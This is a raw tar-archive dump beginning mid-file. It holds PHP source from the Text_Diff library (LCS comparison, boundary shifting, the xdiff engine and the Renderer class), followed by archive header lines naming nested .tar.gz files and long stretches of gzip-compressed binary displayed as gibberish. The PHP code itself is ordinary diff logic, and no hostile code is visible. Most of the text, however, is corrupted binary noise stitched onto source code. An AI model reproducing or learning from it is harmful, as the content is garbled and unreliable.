(empty($ymatches[$line])) { continue; } $matches = $ymatches[$line]; reset($matches); while ($y = current($matches)) { if (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; break; } next($matches); } while ($y = current($matches)) { if ($y > $this->seq[$k - 1]) { assert($y <= $this->seq[$k]); /* Optimization: this is a common case: next match is * just replacing previous match. */ $this->in_seq[$this->seq[$k]] = false; $this->seq[$k] = $y; $this->in_seq[$y] = 1; } elseif (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; } next($matches); } } } $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff); $ymid = $ymids[$this->lcs]; for ($n = 0; $n < $nchunks - 1; $n++) { $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks); $y1 = $ymid[$n] + 1; $seps[] = $flip ? array($y1, $x1) : array($x1, $y1); } $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim); return array($this->lcs, $seps); } function _lcsPos($ypos) { $end = $this->lcs; if ($end == 0 || $ypos > $this->seq[$end]) { $this->seq[++$this->lcs] = $ypos; $this->in_seq[$ypos] = 1; return $this->lcs; } $beg = 1; while ($beg < $end) { $mid = (int)(($beg + $end) / 2); if ($ypos > $this->seq[$mid]) { $beg = $mid + 1; } else { $end = $mid; } } assert($ypos != $this->seq[$end]); $this->in_seq[$this->seq[$end]] = false; $this->seq[$end] = $ypos; $this->in_seq[$ypos] = 1; return $end; } /** * Finds LCS of two sequences. * * The results are recorded in the vectors $this->{x,y}changed[], by * storing a 1 in the element for each line that is an insertion or * deletion (ie. is not in the LCS). * * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1. * * Note that XLIM, YLIM are exclusive bounds. All line numbers are * origin-0 and discarded lines are not counted. */ function _compareseq ($xoff, $xlim, $yoff, $ylim) { /* Slide down the bottom initial diagonal. */ while ($xoff < $xlim && $yoff < $ylim && $this->xv[$xoff] == $this->yv[$yoff]) { ++$xoff; ++$yoff; } /* Slide up the top initial diagonal. */ while ($xlim > $xoff && $ylim > $yoff && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) { --$xlim; --$ylim; } if ($xoff == $xlim || $yoff == $ylim) { $lcs = 0; } else { /* This is ad hoc but seems to work well. $nchunks = * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks = * max(2,min(8,(int)$nchunks)); */ $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1; list($lcs, $seps) = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks); } if ($lcs == 0) { /* X and Y sequences have no common subsequence: mark all * changed. */ while ($yoff < $ylim) { $this->ychanged[$this->yind[$yoff++]] = 1; } while ($xoff < $xlim) { $this->xchanged[$this->xind[$xoff++]] = 1; } } else { /* Use the partitions to split this problem into subproblems. */ reset($seps); $pt1 = $seps[0]; while ($pt2 = next($seps)) { $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]); $pt1 = $pt2; } } } /** * Adjusts inserts/deletes of identical lines to join changes as much as * possible. * * We do something when a run of changed lines include a line at one end * and has an excluded, identical line at the other. We are free to * choose which identical line is included. `compareseq' usually chooses * the one at the beginning, but usually it is cleaner to consider the * following identical line to be the "change". * * This is extracted verbatim from analyze.c (GNU diffutils-2.7). */ function _shiftBoundaries($lines, &$changed, $other_changed) { $i = 0; $j = 0; assert(count($lines) == count($changed)); $len = count($lines); $other_len = count($other_changed); while (1) { /* Scan forward to find the beginning of another run of * changes. Also keep track of the corresponding point in the * other file. * * Throughout this code, $i and $j are adjusted together so that * the first $i elements of $changed and the first $j elements of * $other_changed both contain the same number of zeros (unchanged * lines). * * Furthermore, $j is always kept so that $j == $other_len or * $other_changed[$j] == false. */ while ($j < $other_len && $other_changed[$j]) { $j++; } while ($i < $len && ! $changed[$i]) { assert($j < $other_len && ! $other_changed[$j]); $i++; $j++; while ($j < $other_len && $other_changed[$j]) { $j++; } } if ($i == $len) { break; } $start = $i; /* Find the end of this run of changes. */ while (++$i < $len && $changed[$i]) { continue; } do { /* Record the length of this run of changes, so that we can * later determine whether the run has grown. */ $runlength = $i - $start; /* Move the changed region back, so long as the previous * unchanged line matches the last changed one. This merges * with previous changed regions. */ while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) { $changed[--$start] = 1; $changed[--$i] = false; while ($start > 0 && $changed[$start - 1]) { $start--; } assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } /* Set CORRESPONDING to the end of the changed run, at the * last point where it corresponds to a changed run in the * other file. CORRESPONDING == LEN means no such point has * been found. */ $corresponding = $j < $other_len ? $i : $len; /* Move the changed region forward, so long as the first * changed line matches the following unchanged one. This * merges with following changed regions. Do this second, so * that if there are no merges, the changed region is moved * forward as far as possible. */ while ($i < $len && $lines[$start] == $lines[$i]) { $changed[$start++] = false; $changed[$i++] = 1; while ($i < $len && $changed[$i]) { $i++; } assert($j < $other_len && ! $other_changed[$j]); $j++; if ($j < $other_len && $other_changed[$j]) { $corresponding = $i; while ($j < $other_len && $other_changed[$j]) { $j++; } } } } while ($runlength != $i - $start); /* If possible, move the fully-merged run of changes back to a * corresponding run in the other file. */ while ($corresponding < $i) { $changed[--$start] = 1; $changed[--$i] = 0; assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } } } } Diff/Engine/xdiff.php000064400000004233150547716610010450 0ustar00 * @package Text_Diff */ class Text_Diff_Engine_xdiff { /** */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); /* Convert the two input arrays into strings for xdiff processing. */ $from_string = implode("\n", $from_lines); $to_string = implode("\n", $to_lines); /* Diff the two strings and convert the result to an array. */ $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); $diff = explode("\n", $diff); /* Walk through the diff one line at a time. We build the $edits * array of diff operations by reading the first character of the * xdiff output (which is in the "unified diff" format). * * Note that we don't have enough information to detect "changed" * lines using this approach, so we can't add Text_Diff_Op_changed * instances to the $edits array. The result is still perfectly * valid, albeit a little less descriptive and efficient. */ $edits = array(); foreach ($diff as $line) { if (!strlen($line)) { continue; } switch ($line[0]) { case ' ': $edits[] = new Text_Diff_Op_copy(array(substr($line, 1))); break; case '+': $edits[] = new Text_Diff_Op_add(array(substr($line, 1))); break; case '-': $edits[] = new Text_Diff_Op_delete(array(substr($line, 1))); break; } } return $edits; } } Diff/Renderer.php000064400000015226150547716660007722 0ustar00 $value) { $v = '_' . $param; if (isset($this->$v)) { $this->$v = $value; } } } /** * PHP4 constructor. */ public function Text_Diff_Renderer( $params = array() ) { self::__construct( $params ); } /** * Get any renderer parameters. * * @return array All parameters of this renderer object. */ function getParams() { $params = array(); foreach (get_object_vars($this) as $k => $v) { if ($k[0] == '_') { $params[substr($k, 1)] = $v; } } return $params; } /** * Renders a diff. * * @param Text_Diff $diff A Text_Diff object. * * @return string The formatted output. */ function render($diff) { $xi = $yi = 1; $block = false; $context = array(); $nlead = $this->_leading_context_lines; $ntrail = $this->_trailing_context_lines; $output = $this->_startDiff(); $diffs = $diff->getDiff(); foreach ($diffs as $i => $edit) { /* If these are unchanged (copied) lines, and we want to keep * leading or trailing context lines, extract them from the copy * block. */ if (is_a($edit, 'Text_Diff_Op_copy')) { /* Do we have any diff blocks yet? */ if (is_array($block)) { /* How many lines to keep as context from the copy * block. */ $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail; if (count($edit->orig) <= $keep) { /* We have less lines in the block than we want for * context => keep the whole block. */ $block[] = $edit; } else { if ($ntrail) { /* Create a new block with as many lines as we need * for the trailing context. */ $context = array_slice($edit->orig, 0, $ntrail); $block[] = new Text_Diff_Op_copy($context); } /* @todo */ $output .= $this->_block($x0, $ntrail + $xi - $x0, $y0, $ntrail + $yi - $y0, $block); $block = false; } } /* Keep the copy block as the context for the next block. */ $context = $edit->orig; } else { /* Don't we have any diff blocks yet? */ if (!is_array($block)) { /* Extract context lines from the preceding copy block. */ $context = array_slice($context, count($context) - $nlead); $x0 = $xi - count($context); $y0 = $yi - count($context); $block = array(); if ($context) { $block[] = new Text_Diff_Op_copy($context); } } $block[] = $edit; } if ($edit->orig) { $xi += count($edit->orig); } if ($edit->final) { $yi += count($edit->final); } } if (is_array($block)) { $output .= $this->_block($x0, $xi - $x0, $y0, $yi - $y0, $block); } return $output . $this->_endDiff(); } function _block($xbeg, $xlen, $ybeg, $ylen, &$edits) { $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen)); foreach ($edits as $edit) { switch (strtolower(get_class($edit))) { case 'text_diff_op_copy': $output .= $this->_context($edit->orig); break; case 'text_diff_op_add': $output .= $this->_added($edit->final); break; case 'text_diff_op_delete': $output .= $this->_deleted($edit->orig); break; case 'text_diff_op_change': $output .= $this->_changed($edit->orig, $edit->final); break; } } return $output . $this->_endBlock(); } function _startDiff() { return ''; } function _endDiff() { return ''; } function _blockHeader($xbeg, $xlen, $ybeg, $ylen) { if ($xlen > 1) { $xbeg .= ',' . ($xbeg + $xlen - 1); } if ($ylen > 1) { $ybeg .= ',' . ($ybeg + $ylen - 1); } // this matches the GNU Diff behaviour if ($xlen && !$ylen) { $ybeg--; } elseif (!$xlen) { $xbeg--; } return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg; } function _startBlock($header) { return $header . "\n"; } function _endBlock() { return ''; } function _lines($lines, $prefix = ' ') { return $prefix . implode("\n$prefix", $lines) . "\n"; } function _context($lines) { return $this->_lines($lines, ' '); } function _added($lines) { return $this->_lines($lines, '> '); } function _deleted($lines) { return $this->_lines($lines, '< '); } function _changed($orig, $final) { return $this->_deleted($orig) . "---\n" . $this->_added($final); } } ova/Diff.php.php.tar.gz000064400000006234150561075170010720 0ustar00[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:ova/Engine.tar.gz000064400000017161150561075170007702 0ustar00=iwȑ_vFD񐯍8f2g{ތW*$[E҉g?UIiO2HޘjtWWWU N2I~{zA[ցhCF#؜{M1Û"mջ]vL8II5 H4d*r ȃN% `4x`q7n3JmjZy*r6$/у-6GmA]_ dem?D#KCwv&km:6M:+FwE+JXSd, Weɸױ^s4Ju)[tF|8b O,9|( d׎,*1)ïP\}]/s\xX$)qLA5~Ϳ wZͯu4ZnqSDv wߟy=D0<LXSWfA\D>YsUYjhPЌk.Y.^Ѥˆթ0q.aJU,kT TC$79,j%<쟱$գÄZ$+IugQ,nTIf٤)JRV ,+c2mtI ۥ[JeS $dǩ!y^Ϫ[WB[U(!AT__:!O:;i#wN~֓//x&@K$^!Hv'';>_xUgedf?3φ`;p͞ԩ% z&2Xˎz,KdY17e솨X bڊ\?I`YS%DGL:qO)}n g$A^ q$Qvr,a)QDW{2r$ k<ژ >9hOGrTRRE6Q N؞P2 n` c&bDgdB= DMß#Bqz ~Wh=K1DX= ;ulLO~sVz{?y%R$H1g?CB0S8'Y<1.&<&<oHK>^$46;*7HЩC5 9AeU׶Lܢ斔-P[ !ؽmvV8~MY)>Tjv5E7p,Cuho:dj][A.Huzߊ4˙^ |J1ωEC2r@@݁q%|=d|p"՞:: )D*iÖ 3 6؃^u hr/5\PמzVm3R-A${˕b(&O`M"{%iȵ$f5`!:tC^HSYk at%Ȗę_RbZ4Jk^{u`\?W #? ` Yo|)lvh;7܂ RM-`P{uӒlN$ހ#N0*%-ձGj\! jVjm:jNV6wooG,̫dBFk Ӫ2L ꦖ mNc,ǥL7eڡ7_T~f:ߗ5$*;p T́IT1UT1RKm\VJSf(g?0vv<@n.ZuX[ ghZl.k1,ckq#*z\豊3TS$@ 06eL[W Z}I:ˡkFÇz 1>U׵$SswfCa4NĿUtk&Hd7 Yh25-L݆hlŞZg]_"o?+!|n#tҡŧ֩-L,Q,iuz~4OUuX>4x|L|@|#7[G1zb%Trd]cZMUZMRm5zMu{TcV_&ҷC_,kR}D ȿO?lvh} g#<0NRɟN)q8d*m8ˡP m@^Saҙ>!ۼiɪ~y GjWAVcI$Aԙ<Fnzɺb}}} 7knwGa ܍.!6q2`ROH͖ ˏ3hc^W㮭lwTSCxaKScDPdy%J$ ,0̩]MCq-+ȏA8צW<$SQxp$hv<D^"W oԿCl ڌ!h1Wv O7 Te>Vrw'6,t  ˃,xA~.[,uV/5{'/劈iP;;ggD.~-xQuk4)e/c_!|ycrś&ȮC˒|#tG.Jjagƌ+L-a8;earu-[O)tʛ'kgKq-2Ww^H_l O:C(]KѥkoϯE}T " $ Q+m?ƔVe_ qi 4GKD+|:$@Dy(8WQr01Dm ʟI #(nfygD'®!ff3Ao`fm~_̱m|UC=>Tt:&AhH- ߴnD)^$l ̦$+ꀋoq@݂4K۷GNHfxCdu Z)@xʦ3ayaܬhvao&jh y2x0qLA-kE0FɨEIRE,,b2̘rRYR+hqy) 膷|5;Y!.| F8sbN? <̓l1=zwy꺹!Z+Ҫ(>miYV@<\X7$bW/M[ހ@NڬZ»XnE%2g彟^N0[[wTpz[PUQm ]Tk3UgY: O.OP, ]( yy \x0%gd(r疕UF_jҵV<+sX9rSRT4KdN(N6 2o4U] +#pR ̎tKvAs+nd{]É6dx.fJ1fX"U:E8Q h%ǭFH&`h  +vH͆e=iV`Yq;`4?Xo'u`i}0%CzJVB;YbSwÁ3[=ltFx]guc&W`A!B&])ъPHXzUg IN+y='LH=ZhYh+PAGK0T_ x>P3Sf6%E0J\ P#e,"1X@_.ܛN~B3c}2KgݴVVg$ ߀˸ꫲbO\mI 4q2a)Zph2SEfQMJU7KOG NFqs$Կ@wixqrPŬ˛[uFeϷA>{#܈PW(>25X; yTsl1:Wsr ` nd+ V̠aY̮8w⮾$+Vr,|Y-E4'x!=5F6lhՅcN|ZX&N Bèj]ڵ\he> sj-S.Ss=6b5A=:z|;KW΃eHr=p#[xtQ>w^:UEknt^o؂ UZE1bq˱:܃6(ꤝrp &8eV!ӪkStbw3`h^ٸPmd~NWS+^0;Njq 7݀* (D_A.Qi'( 0Ƽܒ>SUsUi*C/0:?breԪGgGכDT\01"_cv3GKnP]j׏Oڧ>3+k U~o#t$o?yً7o;y%R`4ZÒYVޢ 塺rlX^A;Wǯa& "WXv: SfY_fkF]Of@yae@>Z=Pׅ(ԁR+U4W,9v] KnIRO%{dkfZd+Wkɺ5̋{i^Bg S\pK7WSݝ[n|§Ju> ʾm<&E5Dӻ4ikC>J$Ve3K Ƈ/oZW,uZgFO˭w,:_G߿|<$c+O (}]Pn;e߄O$Hq21#1|ɨV~%0D`pK(1U"Ic}Ѳr,)G+>mﱈkwդSj07:F"7RTʘ/peIB]9oB:PP7)ol] j@o)34<TP{/ʡ<_dT6}Qo\v*xۆUl٘j^J<ۺx#YlHrJ^CJNxbSOxsHlhŵZ.78n Sp 6 p9y9@C RЅtBe4* ^;H8ppWeOgV?;t]뻩n7.rۗ<â8oova/ova.tar.gz000064400000102002150561075200007241 0ustar00}cWu0 %WJ^G3iFhFY'Iz4=Y/`?աn%$`L -15oyUefv]Js=sν]Z[O$ykm;ntt/rxsrvp9Ɉz ;?g'>=#5KOI1o[|ɓ7N0߯y}婿<1}ĕvo;g~?,_u_>oafuq|]p Ϸ^vVɟG> ٞ|_؈/~8sO >ĕo7}ǹ|奫xVoI>}m'׾>_O<*\i[ǯbW<=۫_?&'mWBe UKo{)n{]o~+ \;swj,>x[_\Rfn}ߥg'<誇y}'o{)˟|<3Wԙ+C ~_.y K+'^/\ 9?zӹjz}~ _"y^oy ϟ?l~y_{=?.~z?ŧ?`zg-lzwjm?u5lƿ'̫n uD_7wݰD-~O9N^g<R}[>}Z}u y?5Y{>ż֢7,*TO~/o8^|e'_: ׻/9#/|#o)}ſؾ2f+$_ oW>?}39{=&C?~~G sɫN~eߜ|aMm _ۻyz|1/~X ֻ?3mz5׿缔 {W~;DةOz^<=g^ܿy|۷W_y/|}O { W߲ϫyW'^\|o?z?g§J=5xmɍ/g^X蛷i/b7mN؃?Ιu x჏7k޾MYyGLu>E?8#~_xqby?izW_BX3KMKL~ѵxϹ{{s/1G76Z'v~gr{K_~'W=O?n!_\<_?i~oh=X|xS=GE}C=Kw\?i_{?]gyoz=c7zL<+~Gߺ^OQo-,_>7\t^|!Oo> ɹwЯp^_۞fo=~#Wyr٫?o|k&t|3nha?P/˯_p՗W˯~}{w>ڻG~{z}<-f7(/*ډΗ^󃿼ۅg^cw>com?y|'ry%kz|zf5/Gp^~=u]Ǽvm9/m[kRӯGů+ 47>>>}+w}~[?{KYo薋{޿|ul|zؗ}_1m,G󉟷5/ȿiC}xYK74xf}/}?pm?w|Iŋӯ˒w~I!ӓ= 8|K^/˗G?>w_enY[܇&$i6[l'o;ssbG_ߧC_7ɿ?''W2~#o^}O_?gۻ}_5G?Ͽ|C}1N?̏6g}?~fًϼ:7-FӚ^|%/?ʗ|ox?^?!EHwQ;W+i| }ꋿ7Z_~}ݗ=~oxWCh麙֞G|=z~;;Wu[ovK6굽G_ai+?;sswV~_[|~}J<_|O^г3>z'Jow]wn}Vd!ׯle7|Q/hIO־}0o^xG׿3jNߦm7t+_T}቟'n2_OD)/v_yxCo_/^Ƿ^YA!pʋ#o|٧>4+7_^M[3z#/x}ncַ=jܷwϛ#78gUo>O}#/?lV/v>{I~ie-/~~~ןy ?95'_N7wn̐?~o&o}_ڸ~ǏOoNj =ڋfw??P=h߅mk;].˥E~~t?BԄFMԪ3nV.9"(Qv*p\`K؎DZK$*]kHs,*r"Ql"$&#Sd[s<ӓr593iL2\fw)]$C נmlJv[x^!¶ @2ODk#~ߚe!;$Nߚ$ 2fl[nk-W8P5lTD߶nW c&l-~`}d "Ea,r6Yx+Ң4̠+3$Ku+R,(S-Zh1d1HR2 v8C|B9`6O `P`'֥J8Kj5Ԁɖ&MFH`K&Td"rB86CB g!x ~ C*'nd0(߶<@i)CW, .6ˎ`]XK-V"2)e `` i g `R"lRH5plJ$CL6/tH~8^49Y!hZCATX mt#("djgD$ hs(d&a($+0IN[s4X_;\[Dsp2ڄЖtILO!i<F `22} ppmnhlxID2Ihx?dUΦ*]0|}DR ?"7@Jd"˶\f tk_áY@F  J`( })@T/ " $$I>ĵykQo"TYm4,BMG!!$R+jT2@܍2PkXs,, pA?P( ?g'c ZCBo$N9ʀx:K J!t( Ջ!q ΒK,%@0c8 0ɵ(rVE"rRX^*+p)ITrY)O i7^) {k@aKIKH#Iic I@QYҏa(9T }X&h$ˀPRZTs JVԠԩPd[HJ!AuB7*XA%6ZU5 @"ޢ" RUDR6 !Q$ ʒ |ᚘ3pjM+ 8ח (Hl&p Ə "0 %H4}RW`NAɦA$MB$YjmFB~#EE$HdLn/7,١ԓ8.&4 Z)yt%@5QL"DGbSA6X 5Hdр!-Tb3b,`9&KM,lGr@b:HH- C%} [c]d# FN8 ( !ı`DӟA Gx7^ $4+ Ȧ,Ҩc@:LCeQ B;)@YCI\v{S=<Ud;( V%԰"V'Jph IyfMفꏓSY~ 'eH'F, P*i7 nfK3ѵh6w L B.G~51 ЦGAǶ@ 66V n؆i+h0EZkdIbJ*\}azd4Y&=VBs& TIFPB iY;0 0@n@ l =, (9D ThJD=D#قP >@0A @= (8k a%PÖ"iUt-lm !FM59Cj;9)Y1 a@f29o< H1!25@\H760H9]M):T:$9NIa9B0^rdJƶdķfyԁdTmõIeJ`V)Iݬj`FKi$>A.iPTZ5J5v Xz2z|hḊPH[&:'%T'S+%Yq-6-EUnDNdLclhP&K0 M8^NDOI ՜7(/fҸG+Ϛ0ɲ#$Ϳ4\@59 9 dlT5XB,F?'  lP􌴦K+Ъ$w0$s]Ak:jԭWǎGF3ha1[v2Q(@&S4]ZMƂu@ p$dtp UVdN @ pI Zf!JYmU&ht2 V$&&t#q@gA G h@N 5EĔDAej52IcA ]Aqyb{hz 3xE{ eZ(ɡU RGڀ V*03hRr噅ljXE#i*^r*eL$d_8lW&,* )ͳ6Gt`*\X$q!{IM*@hЪ P0"ڠqMy뎚Vˁ`z(O`=sIVͷ@QJPS,5!j)*0b-9=w|SAM rk\fmh aCx() #J TF2U0ic j|Ž8 cb@2J^ny+&͖ J@'\@T!e` =@f?~_0C AMʫ@n Uʤ`i?n[0"=z`9U`NưP ԡKDnQz`--0:`./ږbn3(PJ(ڴ qaʺaYOK D@r;!ܛ8ϵ[<8΢7v޸lp:MȬ @*Jal@ے6qȯP4VJ*6գQQbNs4F; u-8M(4A, ֜}'Cq@fߢVvlejZפo\ 8 kN>VgdcR$7vbkb}tAPZL {aʴфX6R>L)[% *עX , 1˝!ƣUZoZL e!+FU`+rH0p/i&`MwZf8Bap2uDcsX&RH;IT")YBך<gW4~"W<\ՠx@y45S',*bA$YFTdnawU )IKJq]gی(4Y ؒК]. Ha`5+m$tX0CV1,bv4`AG,D0=ܲlGSԈ<(R7k4I<4\P~V'Y815VE5xjqe+[-eqdY/>h1 ]Y WVuG?UW)KB* @8ŸnDqLZ@ 2?& 7b{,\u>`7O]flm ShZv AzAj (TBcjk`DAMb޺W̧a:]D^-j!(2u݅EI\ AUՍMPFz'(Lh~4'ц)-qg V%eIQ@GAQxRMF)25%"(}ApR8 NI$K ;GuO4k5^IHZqs6r0G`cR|S'eJI FyHHXꜜb Tb9 #<D`5Bh>@Sad5,s6 b08&5Y7&pSـۥyxb)#s]cѰ$Ѥ:W 8Ihxc(Ւ~4aOVrVخprˠitp*TF$[bAR)6?$T!7> SB_WC!ϷC¯򇂏σn rm9A HqbqX$!AwZe% MFҭz L<76Ik$ Ma w}2` \\i:,{VSiRrP=.Z% ,ee"Y N84|Ha T,%}Pmis9QyQJ o"4N)̏Ec#4%uK$ƬviJM/H1ͥ`&غ4וWO,Xdk 69oʼ^[ 2O YFbu;Y N*m0\YS^D-6#<5 j,SJٚ4*W10f_^ĸ:}04/ n )I5;𵬪^3?{mNF*"$9 RRäS4&g-MJ(j4]xrR +=!7jAQeړĺ)( 093`f_:v1)wFwF. 䔚7M7U&>]&qe+T'Q=L1fT jB#+H&I$bDt3eɰUU2uȡ g\TjByRе%{ Ѱ4];8ET#4D)f+:,(r@%P"frD"KBhh]wPRCTvD&d?`)XJb/[wāOi~) (bVRY(Qӣi \ZMC !6J/ ۉ`h*7rrL\ oMao(MJs&|BZҐ;ք'Wte{qХ#V uw0* Z ]3F.iJYY&P< 3t1? %Rq`'k `3ĪA2+Ñ=-s\!y@NH (TA$,yRФ\X\g^!Ղ0z:S"WD^9xO-Qd)TF'MQ+%=w #\pF."Geq\P: ]Ud9ͪW35sTpq_LPfjBgik{!cge8,h?0G}V:5dAМmԠA ~4帢pv) FT0`5ڢ@P/h.Bsap0@ꏄQ!J`i` cC["  AxB,RL2K4<^5KAP]9X4RQ  50xB7т>c6C}GvmH84h3M7Q6'IΠ[⡵P:ӵ/k\z | pp~rɵ@~ +z4\%RݍeHerLVuĜݹǛ]7#]\Zٌ:#Aޕ+}wSt6_hͷ6?rww-/٩RÓN6Vά}7\nFź;' {v/T낫Pг̸M[$7|Hvkw`vMOX|;դ6eNi9ΝX/=ck't8%>t4mrݝ)#$(zR A+:ˮ /rٻՀ'_q/U6<'٨lf+T˲:㋹¦ֻImqݎஹZr֚b/ΰD&@['κʛQ[Y L5w`37;e?(7W mqmԛ"o*ީn,UV 6a){㌬4]+MR^DLw@'mN{2|Liw WW~wk3BZ47Slßڪ;K9E}%ނGї{J˽v4=]Mw9֫nݭ-†sXq%]{;6rFz?Iow/!w֪{'g3 7RX XSd3%2ba¬7"oa:]˯qTagPtԿ(E ;V0-b[s̚3ͬ-9c.JzlQs񬭚Zn{X'B]zkb>b2nZ]\p[dn޶Igqf[4"fʖ-X2*\vh&gE5'6znٛ ֦ygjz'![uRYonKzjgי-gYs{¡Ո 9) H|2(XjĉF<"b%}|j:Un6r}@ܰ9_+Dر$\]A{3R+@@@no#{YS߁\C7pSf@C?XM"u'p D,1dBj ݦ`l#)9Qh/nWeË5h.&0tk(u Xxs{5 AAn,@^mnҙ`&lfҹHGCA6QJ f+xx#qಘ}z`FiSkp`բʡ 8WךV ؊Fv~Z0, ]Z$+vs[meƛmkR>Cu팸#݌ ˺5l+3t r1^1xWJ2 _f9<2̵[-DN HS)b&\Gk6`_A3kj1ٚ5X 冗 v<;iI'f0^S-ó(ߍJ^PVm8}jP|ɰ[y%_,;J)åu՝U<#@;CAFBUоX[t aBQ%CHn4I@WE3~< &ɦMX4) r|V/  i9c<+6th h%_Ӓנ/\s5_7@/\#lS#;)Ϡ'tRnK/N@4)t gUc VrK{~/Lu|p%TO 2 tF!h)O?]%@"P&f(Lb;6)ST*e-:?' XDڢȱ$nl+ $Ê)@nW|T{u:Gs yzD:X' CKbe9PG -Rqt/IXJҮL+ rL*`, XÌg\}Rb4mr 0& 6n\ى.'4/2 7 _&61rAImaT[$ZTGG.ALy͢f\5Y,F+}&OzEɵ'le]pB-D0"Ӡ!(ڬD@^כ PiJj̔Q,+ f3"P9UPjWmH>*t?&xB2GLUt£@0/d-"+VO)9xuh t,o~KW|Цs2N eX; 䃕@GeJ\8E\-" ڋ ([p2)erTa0JDm {$= g$1ݑIݑOQ7L 48rșۦEu0H&胦' ;WRZZyޯ@뙄4[#r&9?o' ԐN51Iʻ 3NאNQ=Z41m&d[f(Z&xtEBk~RjI]h܎j$Ȇ!Y2- S1\BDQH 2o`-a4w$D2Adܵb{tTvd2):EMIQmDv ظRrT1)%1I)Z&h q-.30hY݇hnx% gj(bts;hAd\=f>m/ݷ3hj>'tҧsbICc ;161nlAO<-C;d5o W +!>C+g%~DPp +ti0TnkDB8V5H̯f#;ZYE.Cc 5 uMH픳wZTmDKorvgK?gMĥQ |r GC3VsI\kuJ>[+-!LS]lDr`[aG;$[F-,pvM8: ,+@o*^!z2te Z瑩_;>`5 fvn՞Ã[$?]E(q5-ĥ꩖ eKKU_ =P*qNd*|i߇cNQIRft@|֝R9aq~rl:=9@EKT4@GƚɛҔPRW;}*esZ ^$ӫ vq0M們)EH%`lg̦jdz#st ߿|6Vx"V,C_F3_#qPL4O&[Ϥr`* *{\Sۨ.գʰt'BN*+ K_6͟ʵt Μ:nB8 Ce0֖s_]vd8Ma[ݯ8d5e4\fD^7:-.CPaeGNȡ! 8ωr$nʉ;O [|s'懝'4JK@ H/t֞MLL6븿Hbfa„]=gMjruhII>m{,:p> ^r/9S:x`Wuj,tc6kaϾpYQ}jWo`8 {1l&VNOi}TKm.)!dAy/reʐJçc؎dY7dbgHĖ´;vk,Wl#^f2Ѹtz Q!j#A.ktx{CH\J6%=νn57T&U'(Zk%K`4Hñ=[v%\W#]>!;`J$H0WWBE[׶bB8,\=N׃ѐwqWi2$ N0 [5rDb^b|P GA2抅:(_V\+պPyb" +t4`0%;Aݸ)v;.t7K ;bp 9*ɺk46{kRl-RA[gbZͶVi^Sam%^5{f ochN{q. q!Ѷ`| Yk*U*Yk fɼ-5/эz#fÓ/KBYz.c mVwG/%Bl1S {zyϓXǓeX%I[Ʋg#̭l6=4].3Nbv8gn3I^)tW~ymc1tw겯_\_"8q.oS%0Sf n6I&,À,ph\( {Pe/j).^ZɅp ...Ֆ~x{`pW VR+ s堻e6ܑG7bkKr eB`-W.t0FLmgVl6݉r,‘%:$Lj[ZX>XMʵۭ0X;rI9z$ɚ+e\V\\59Y+kjڮ5M h)lTXՄp1Ei>{n~iYGoUkf0+D+D񄲱FW.j5{-H=^/vmeBa'ѫ;dxu#s^GGWZ^_/kF׊Qq)noz sC- liYoC{u ~bR'ڈ~FXf7e2^7'uL4nfd)'?.2˝E2KY6sfm\xsޮ/V'BvʘMop^vSF箳ˡf),=_6r˅-{njoobtڮHr_fd>:nkvkbL& b~űƮ3b~X:VJNҋM+9lEOVh7ʩ=i5!ojaJQpՄĆuft_L97{e]e>zϹKF=k{IwnOg^s5]^6.ﲫ,SV[璍^1w[&|vYګ|'G}$舵 ,ݶtbLE[bj5;xڻKzK\IV|v-LbJ[5{ͱnpy[b$V n#$ +{J{J_-f9\F|]fڕ ;՝8L4NWT&wj&JZll._."=2r枽KM3Urx:U"'/ bض< |UȒvŶitYv}(4rQHoBb-6F-+hw\ Ygʖ/F bdWl/ӏEZiKګ.W,Tj%^/ꌬ2hͧKv{9)OٽG'KYw2lɖPꉮD,WVM*w6*M_m;9N=-W-7\jϾX32J+N_͡oM;IOlP]ћwv*u_lxy\;Ij#o[Iî~S1\-a 4l.f_ zM/㡍ng^l%szu/dI9B;aZ&q/fƸ~g]NQ"@T;`iƓ]{eɽXSUKj=LmV3hjey3KŨ%+~w,y쮦8W{']E]qF'ISMm~_5n9y49vVl% 